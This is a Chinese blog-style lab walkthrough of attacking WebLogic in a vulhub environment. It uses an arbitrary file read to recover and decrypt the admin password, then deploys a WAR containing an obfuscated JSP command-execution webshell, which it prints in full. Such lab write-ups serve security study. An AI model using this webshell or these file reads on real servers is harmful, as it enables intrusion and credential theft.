Weblogic反序列化漏洞

文章目录

  • 1、搭建环境
  • 2、漏洞特征
  • 3、漏洞利用
    • 1)获取用户名密码
    • 2)后台上传shell
  • 4、检测工具

1、搭建环境

漏洞环境基于vulhub搭建–进入weak_password的docker环境
Weblogic反序列化漏洞_第1张图片

sudo docker-compose up -d拉取靶场
Weblogic反序列化漏洞_第2张图片Weblogic反序列化漏洞_第3张图片

2、漏洞特征

404特征Weblogic常用端口:7001
Weblogic反序列化漏洞_第4张图片

3、漏洞利用

任意读取文件、后台getshell,访问/console/login/LoginForm.jsp后缀来到后台管理处
获取用户名密码
http://192.168.25.128:7001/console/login/LoginForm.jsp
Weblogic反序列化漏洞_第5张图片Weblogic反序列化漏洞_第6张图片

1)获取用户名密码

使用任意读取文件方式获取用户名密码
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
开启bp,端口后拼接/hello/file.jsp?path=security/SerializedSystemIni.dat
即http://192.168.25.128:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
Weblogic反序列化漏洞_第7张图片

切换到16进制,选择以上文字存到一个SerializedSystemIni.dat
Weblogic反序列化漏洞_第8张图片
在这里插入图片描述

注意:SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
密钥文件:SerializedSystemIni.dat
访问http://ip:7001/hello/file.jsp?path=config/config.xml,其中的
的值,即为加密后的管理员密码
http://192.168.25.128:7001/hello/file.jsp?path=config/config.xml
Weblogic反序列化漏洞_第9张图片

{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
获取用户名密码:weblogic、Oracle@123

2)后台上传shell

前提:使用刚刚任意文件读取获取到的账号密码登录成功
Weblogic反序列化漏洞_第10张图片

上传路径:域结构-部署-安装-上传文件-将此部署安装为应用程序。然后访问项目名称即可。
最后访问的路径是
Weblogic反序列化漏洞_第11张图片

将包含类似于

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!public String HMfR(String yOK){String aAh="";for (int i = 0; i < yOK.length(); i++) {aAh+=(char)(yOK.charAt(i)+6);}return aAh;}
%>
<% String yiO=request.getParameter("websafe");if(yiO!=null){ Class tJIi = Class.forName(HMfR("d[p[(f[ha(Lohncg_"));
Process Mdlz = (Process) tJIi.getMethod(HMfR("_r_]"), String.class).invoke(tJIi.getMethod(HMfR("a_nLohncg_")).invoke(null),yiO);
java.io.InputStream in = Mdlz.getInputStream();byte[] PYp = new byte[2048];out.print("
");while(in.read(PYp)!=-1){ out.println(new String(PYp)); }out.print("
"
); } %>

在这里插入图片描述

在这里插入图片描述

shell.jsp,将其压缩为 shell.zip,然后重命名为 shell.war
在这里插入图片描述

选中war包并点击下一步上传–上传成功
Weblogic反序列化漏洞_第12张图片Weblogic反序列化漏洞_第13张图片

war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西
一直点下一步
Weblogic反序列化漏洞_第14张图片

浏览器访问http://192.168.25.128:7001/shell/shell.jsp?websafe=ifconfig
发现输出信息,说明可以shell可用,可以执行命令
Weblogic反序列化漏洞_第15张图片

4、检测工具

Java反序列化漏洞利用工具V1.7.jar
Weblogic反序列化漏洞_第16张图片

你可能感兴趣的:(jsp)